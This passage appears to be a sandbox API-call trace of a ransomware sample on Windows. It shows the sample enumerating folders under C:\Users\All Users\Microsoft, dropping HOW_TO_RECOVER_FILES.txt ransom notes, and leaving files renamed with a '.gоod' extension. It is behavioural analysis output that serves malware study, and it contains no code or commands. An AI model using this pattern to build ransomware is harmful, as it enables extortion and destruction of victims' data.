cAlternateFileName="")) returned 0x1ec322f0 [0130.846] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbcb1d9bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.846] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26268b4f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x26268b4f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.846] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 1 [0130.846] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.846] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.846] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\AppV\\Setup", lpFilePart=0x0) returned 0x27 [0130.846] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x26268b4f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.847] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x26268b4f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.847] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26268b4f, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x26268b4f, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x26268b4f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.847] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 1 [0130.847] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x799dd27b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe2889e45, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe2889e45, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeIntegrator.ps1", cAlternateFileName="")) returned 0 [0130.847] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0130.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0130.847] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0130.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0130.847] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\Setup\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\appv\\setup\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.848] GetFileType (hFile=0x630) returned 0x1 [0130.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0130.848] GetFileType (hFile=0x630) returned 0x1 [0130.848] WriteFile (in: hFile=0x630, lpBuffer=0x3824ed8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3824ed8*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0130.849] CloseHandle (hObject=0x630) returned 1 [0130.849] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\AppV\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x3a [0130.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0130.849] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\AppV\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\appv\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0130.850] GetFileType (hFile=0x630) returned 0x1 [0130.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0130.850] GetFileType (hFile=0x630) returned 0x1 [0130.851] WriteFile (in: hFile=0x630, lpBuffer=0x3828710*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x3828710*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0130.851] CloseHandle (hObject=0x630) returned 1 [0130.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0130.852] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun", lpFilePart=0x0) returned 0x27 [0130.852] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x267798aa, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c7c954d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x267798aa, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c7c954d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", cAlternateFileName="0D0D4E~1")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26589b2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml.gоod", cAlternateFileName="DEPLOY~1.GOD")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b22dc95, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x265afee7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml.gоod", cAlternateFileName="DEPLOY~2.GOD")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ee362, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x267798aa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml.gоod", cAlternateFileName="DEPLOY~3.GOD")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c7c954d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3c7c954d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c7c954d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c29203c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c29203c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0130.853] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c29203c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c29203c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0130.853] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0130.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0130.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0130.854] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\ClickToRun", lpFilePart=0x0) returned 0x27 [0130.854] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c7c954d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c7c954d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1c2b2f4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c7c954d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c7c954d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe68ff039, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xe6a7c64d, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xe6a7c64d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4", cAlternateFileName="0D0D4E~1")) returned 1 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ee74e6, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", cAlternateFileName="19B111~1")) returned 1 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82f016ef, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8300c739, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8300c739, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="201EB7DF-C721-4B8B-9C81-A09DE7F931E6", cAlternateFileName="201EB7~1")) returned 1 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3dbb3c9, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8512127a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26589b2e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml.gоod", cAlternateFileName="DEPLOY~1.GOD")) returned 1 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b22dc95, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa011b19, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0x265afee7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml.gоod", cAlternateFileName="DEPLOY~2.GOD")) returned 1 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x534ee362, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c4413a9, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x267798aa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml.gоod", cAlternateFileName="DEPLOY~3.GOD")) returned 1 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c7c954d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3c7c954d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c7c954d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85eb08ee, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8826bb5f, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x683c4eba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x683c4eba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProductReleases", cAlternateFileName="PRODUC~1")) returned 1 [0130.854] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0130.855] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3c29203c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3c29203c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0130.855] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.855] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0130.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0130.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0130.855] GetFullPathNameW (in: 